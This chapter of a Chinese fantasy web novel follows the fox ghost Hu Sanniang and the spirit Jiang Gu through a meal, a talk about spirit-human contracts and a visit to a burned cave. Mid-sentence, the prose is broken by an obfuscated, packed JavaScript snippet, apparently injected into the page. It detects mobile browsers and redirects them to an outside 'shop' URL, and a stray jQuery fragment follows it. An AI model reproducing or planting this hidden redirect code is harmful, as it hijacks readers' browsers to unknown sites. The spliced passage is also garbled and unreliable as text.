归程的路上,赵昭昭摇着扇子频频打量言泽,还“啧啧”的发出声响。
“我说咱们的言大人什么时候那么好说话了?”
赵昭昭有些玩味的调侃道,“我可是第一次见你对女子如此温和,这要是让那些一直对你青睐有加、暗许芳心的姑娘们瞧见了,可不晓得得有多难过。”
言泽撇了一脸面容浮夸,佯装抹泪水的赵昭昭,“没有,我一直如此。”
言泽加快了脚上的步伐,不想讨论这个话题,“天快黑了,我们抓紧,还有很多事。”
“哎~”
拉长的语调听着十分欠揍,赵昭昭话题一转,“那刚才等在路边的小姑娘你认识不~”
言泽心中一凛,但面色如常,从容不迫,“是之前蟾蜍精伪装成人类时的妻子。”
“这样啊?”赵昭昭摸着扇骨,语气犹疑,“总觉得她身上有一股似曾相识的气息,但又实在是想不起来了。”
赵昭昭苦恼的挠了挠头,叹道“算了算了,不想了,说不定哪天就想起来,我还是不庸人自扰喽。”
“嗯。”言泽轻轻回了一声,暗道还好赵昭昭的性子向来如此,若不然...却没看见身后赵昭昭挑起的眉毛。
....
江谷打开了腌黄瓜的罐子,“嘭”的一声,随着罐子打开,一股浓郁的香气便扑鼻而来,那是醋酸与各种香料混合而成的独特味道。
其中,既有黄瓜本身的清香,又有醋的酸香,随着味道涌入鼻腔,胡三娘的眼中划过一丝怀念。
渡鸦和灰雀对于腌黄瓜不是很感兴趣,凑近闻了闻便不感兴趣的飞到窗沿上梳理着毛发。
小八则是回到了空间休息,表明下次在再也不要化出实体出来,太累了!
狌狌果果则是抱着幼崽嫌弃的扭过头,一手捂着鼻子,一手扇着,“好酸好酸”,连连后退,身上挂着的幼崽都照看不到,还好幼崽的手紧紧的抓着他母亲的皮毛。
乐的江谷“噗嗤”一笑,她拿过自制的碗筷,从罐子中夹出几块腌好的黄瓜放置胡三娘的面前。
同时又给自己夹了两块,咬一口“咔嚓”一声脆响,酸爽脆嫩的味道在口腔中散开,咸香带着微甜,醋的酸味在味蕾上跳跃,“唔,好酸,但好好吃。”
胡三娘看着完全没有戒备的江谷和院中的异兽,眸中闪过一丝笑意,双脚轻轻一跳,跳上石台咻了两下边低头慢慢吃了起来。
江谷有一直偷偷观察着胡三娘的动作,见她吃了东西心中便有了衡量的标准。
“咯吱咯吱”,“咔嚓咔嚓”的咀嚼声在这小小的院中响起,馋的胡三娘体内的黄修筠直流口水。
“呼,嗝”,不一会一整罐的腌黄瓜就被吃的干干净净,只剩罐底的一些蘸水。
江谷打了个嗝,舒坦的躺在树下的躺椅上,一晃一晃的不知有多自在,这躺椅和院中的一些东西都是村长张财树和村子里的人一起置办的。
倒是方便了江谷许多事。
江谷侧身打量着用爪子洗脸的胡三娘,好奇道:“你为啥要跟着我?”
之前江谷还在想监察司会不会要求收押胡三娘之类的,毕竟荷花村现在已经出了两条人命,一个是鬼婆,还有一个是刘大康三兄弟的其中一个。
胡三娘没有杀人,但刘大康他们一定是因为胡三娘才会如此,没想到言泽他们问都没问,直接就这样走了。
就连赵昭昭也没有表现出要缉拿的样子,甚至这胡三娘还这么悠哉游哉的跟着她上山吃喝。
“你的传承里面没有记载?”胡三娘舔着手背上的毛惊讶道:“我们灵修一族不同于其他妖鬼,灵修一族凡是插手凡尘因果或是随意伤及百姓性命则由灵族的族长审判。”
“我出自青丘一族的狐狸,所以他们自然是没有资格的。”
这样啊..是不是有点不公平了喂!..不过..
“什么传承记忆?”
江谷身体猛地一沉,胡三娘跳到她身上低头嗅了嗅,“喂喂,你干嘛!”
胡三娘这一动作吓得江谷直接坐了起来,双手掐着胡三娘的咯吱窝,“不知道女女授受不亲吗?”
月光下胡三娘的皮毛颜色虽然杂乱,但是十分顺滑,圆澄澄的眼睛滴溜溜的,嘴里是“呜呜”的叫着。
“啊啊啊啊!”江谷最终还是伸出了她的魔爪,一只手把胡三娘放在她的腿上,另一手使劲的搓着胡三娘的额头。
隐约闻到一股焦糊味道的胡三娘...体内鬼气一转。
沉浸式挼毛茸茸的江谷手一空,只见之前还是实体的胡三娘恢复了鬼狐的模样,让江谷毫不可惜。
“原来你之前受过伤,我就说身为千年迷榖精的你怎么如此弱小。”
江谷:谢谢你哦!
胡三娘看着郁闷的江谷婉转一笑,挥动着她的尾巴在江谷的面前,“我们灵族和人族在几百年前签订契约,若是灵族之人行走人间必须自监察司登记,若在人间犯下杀戒杀害无辜,轻则赔偿所需,重则打回原形,任由处置。”
江谷的眼睛随着胡三娘的尾巴的摆动来回看着,不一会就形成了斗鸡眼。
惹着渡鸦“嘎嘎”的笑着。
回神过来的江谷握拳掩饰咳了一下道:“所以你算是前者?”
“谁知道呢~”胡三娘的眼睛闪过一丝暗芒,“毕竟我在人间行走时我的血肉皮囊加上妖丹可都被人惦记了去。”
九月份的风不算冷,但江谷的汗毛都立了起来,狌狌果果更是呲着牙,她眼睛一转,“你是不是早就知道我的身份了?”
“是吧。”胡三娘收敛身上的鬼气,她抬头看向头顶的树冠,“算是吧,也是猜测。”
“这样啊。”江谷暗道小八这个就是不靠谱的,就算是身上佩戴了山神令的碎片也遮不住身上的气息,谁都能看出她的身份。
正在休眠的小八:!冤枉啊!
胡三娘闻着山中的清香,眼睛半眯着,“主要是你现在也没有掩饰。”
“嗯。”江谷不是没有想过这一层,但是又放心不下胡三娘的安危,说她圣母也好,说她不自量力也好,她始终认为胡三娘还是那个执剑天涯的,保持初心的那个人。
...
一番交谈之后江谷就回屋子里,果果狌狌还是睡在之前的房间里,渡鸦和灰雀也早早蹲在迷榖树上睡觉。
胡三娘打了声招呼就暂时离开了招摇山,江谷也不担心,毕竟她女儿刘春花的事情还没有解决,总会回来的。
而江谷借着清冷的月光写了一篇又一篇..
胡三娘飞了两个多时辰才找到记忆中的山洞,她化作人形慢慢走进了那个熟悉的洞口。
黄修筠感受灵魂上晕开来的酸涩和迟疑,默默的看着。
停驻了良久胡三娘还是施法进了洞,发现里面的一切早已沾染了时间的痕迹。
地上曾经雪白的皮毛此时黑一块灰一块,早已没了当日的柔软与温暖,皮毛上焦黑的颜色一直延展那个她最爱躺着的榻上。
洞里还残留着烧焦的味道,曾经华丽的屏风已化作焦木,金银玉石的珠帘散落一地,那个曾经照着镜子描眉梳妆的桌子也已支零破碎。
胡三娘捻起桌子上一根簪子,那簪子“啪嗒”一声断裂开来落在地上,也像是落在胡三娘的心上。
她抿着唇眼中满是惶然,手撑在桌子上,却又“嘭”的一声把原本就□□的桌子按了个粉碎,跌落坐在地上。
灰尘沾到她最爱的黄色衣裙上,可她不在,无人在意。
“三娘..”黄修筠心疼的看着这一幕可又无能无力。
胡三娘双膝抱着,看着地上散落的烧焦变形的收拾首饰上,一抹娇艳的粉色映入她的眼帘。
她扒开碎屑是一块粉色的帕子,明明洞内的其他一切全都被火侵袭过,但这帕子格外柔软艳丽。
胡三娘试探性往里面输了一点自己的气息,果然,那帕子忽然伸展开来,恢复了最初的模样,一条熟悉的不能在熟悉的粉色绸带。
同时一颗晶莹剔透的妖丹和黑色的皮毛也一同落在胡三娘的身上。
那深红的妖丹一落在胡三娘的身上就融入了进去,好似从未离开过一样。她的手像是被身上劈盖着粗糙的皮毛刺伤一样,指尖止不住的蜷缩。
这皮毛不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720492|187469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
够光滑、不够顺滑,像是毛刺一样扎手,疼痛从手上传递到身体的各个处。包括那颗久微跳动的心,地上的灰尘被一颗水珠砸开,细碎的飘散在空中...
“三娘,我跟你说我这法器妃色可是我精心晕养的本命法器,软如霞光,却又像是坠落银河的星陨,还有储物的能力,我甚是喜爱,尤其是颜色和你的双剑放在一起更是相配。”
那天的晚霞绚丽夺目,却不如眼前之人摧残,她挽着绸带在林间飞舞,像是一缕清风那边的自在和飞扬。
熬了一宿的江谷看着胡三娘从云间落下,她打了个哈欠,看着缠着粉色丝巾的胡三娘嘀咕,“这是连夜去做新造型了?”
江谷伸了个懒腰看着桌子上一夜的成果人不禁感叹道,“做妖就是不一样,以前只是短暂扫过一眼的内容也能记下来。”
“唔,希望她收到了不会生气。”
“谁生气啊宿主。”
疲倦的小八揉了揉眼睛,看着桌子几本书,从左往右分别是,“《108招叫你如何识别谎言》、《狐狸精的自我修养》、《反诈自己不如诈骗别人》、《阴阳话术是一门好的缺德的艺术》...”
越看到后面小八的黑线就越多,“你这是?”
“醒了啊,正好,帮我收一下。”江谷把书垒在一起,揉着手腕,“写了一晚上了,累坏我了。”
几本书就这样挤到了小八的空间,“我这不是储物空间喂!”
系统空间里旁边还有晒干的祝余草和一堆各式各样的用迷榖枝做成的配饰。
“都一样啦!”
江谷对着屋外的胡三娘摆了摆手便出了屋子,“你今天还出来吗?”
“不了。”小八无奈的把东西归纳好,尽量显得整齐一些,“我化作实体太耗能量了,现在功德都不多,省着点吧。”毕竟他的能量也都来源于功德,所以他们真的是捉襟见肘。
“小八你真是世界上最好的统~”
“呵。”想起昨天某人大方送出去的功德,小八道:“谁让咱有个视功德如粪土的宿主,那一百的功德说送就送!”
江谷听着脑子里越来越尖的嗓音,忍住了捂耳朵的动作,要不然这事还有的说,谁让她昨天脑子一抽呢。
“咳咳。”
江谷也不打扰小八的碎碎念,她往侧屋里面一看果然狌狌果果已经不再屋子里了,估摸又和渡鸦出去玩了,至于灰雀,外面可全是它叽叽喳喳的声音呢。
江谷进屋拿了一个筐子背在身上,再把柜子上晾了很久的祝余草和一些其他炮制好的药草一同放进筐子里。
屋外胡三娘保持兽性用手跳来跳去扑着灰雀,雀跃的“唧唧”声盘旋在空中。
一看就是灰雀乐上了头,也不看看一只千年的狐狸怎么可能扑不到一只鸟雀。
“我们现在下山吧。”
江谷手指一伸,空中的灰雀就落了下来,看着胸脯一伏一伏的就只它有多开心,“跟我们一起下山吗?”
“唧唧。”
灰雀欢快的跳跃着扇着翅膀就蹲到了老地方,江谷的头上。
江谷:...行吧。
“噗嗤”胡三娘一笑,她轻身一跃稳稳当当的落在江谷的怀里,“那我也劳烦江姑娘你了。”
“当然,乐意至极。”
江谷爱不释手的摸着滑溜的毛发,眼睛眯成了一条线就这么稳稳当当的下了山,来到了村长张财树的家里。
不说这一路上的过五关斩六将,最终她还是气喘吁吁的平安的来到了张财树家的门口。
怀里的胡三娘的毛都炸的飞起,她幽怨的娇嗔了一句,“你在人类中可真受欢迎,哪像我..”
“哎,不能这么说,你是因为太漂亮了,所以那些人嫉妒你,仇恨你。”
江谷边说边敲响了门,“不过若是你长得很丑,那这世间的恶会来的更快更多,因为人性是多样的,前一秒他会因为善而善,也会因为恶而恶,是两面的,就看你是先遇到善还是先遇到恶。”
“我也只是比你稍微幸运一点点,还有聪明~”说道后面江谷摸着胡三娘的脑袋,“你太单纯啦,多学学我。”